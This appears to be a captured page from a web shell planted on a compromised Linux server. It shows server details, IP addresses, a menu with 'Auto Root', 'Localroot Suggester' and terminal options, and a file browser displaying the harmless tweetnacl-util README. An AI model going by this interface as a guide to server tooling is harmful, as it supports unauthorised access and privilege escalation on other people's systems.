Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 13.58.48.103
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp_probe /
node_modules /
tweetnacl-util /
Delete
Unzip
Name
Size
Permission
Date
Action
.npmignore
48
B
-rw-r--r--
2017-02-22 11:16
AUTHORS.md
164
B
-rw-r--r--
2016-12-13 11:13
LICENSE
1.18
KB
-rw-r--r--
2016-12-13 11:13
README.md
1.51
KB
-rw-r--r--
2016-02-19 23:15
nacl-util.d.ts
263
B
-rw-r--r--
2016-12-13 11:13
nacl-util.js
2.12
KB
-rw-r--r--
2017-03-19 19:11
nacl-util.min.js
1.31
KB
-rw-r--r--
2017-03-19 19:32
package.json
1.63
KB
-rw-r--r--
2021-02-04 21:24
Save
Rename
tweetnacl-util-js ================= String encoding utilities extracted from <https://github.com/dchest/tweetnacl-js> Encoding/decoding functions are provided for convenience. They are correct, however their performance and wide compatibility with uncommon runtimes is not something that is considered important compared to the simplicity and size of implementation. **Please use better third-party libraries if you need to.** Installation ------------ Use a package manager: [Bower](http://bower.io): $ bower install tweetnacl-util [NPM](https://www.npmjs.org/): $ npm install tweetnacl-util or [download source code](https://github.com/dchest/tweetnacl-util-js/releases). Usage ------ To make keep backward compatibility with code that used `nacl.util` previously included with TweetNaCl.js, just include it as usual: ``` <script src="nacl.min.js"></script> <script src="nacl-util.min.js"></script> <script> // nacl.util functions are now available, e.g.: // nacl.util.decodeUTF8 </script> ``` When using CommonJS: ``` var nacl = require('tweetnacl'); nacl.util = require('tweetnacl-util'); ``` Documentation ------------- #### nacl.util.decodeUTF8(string) Decodes string and returns `Uint8Array` of bytes. #### nacl.util.encodeUTF8(array) Encodes `Uint8Array` or `Array` of bytes into string. #### nacl.util.decodeBase64(string) Decodes Base-64 encoded string and returns `Uint8Array` of bytes. #### nacl.util.encodeBase64(array) Encodes `Uint8Array` or `Array` of bytes into string using Base-64 encoding.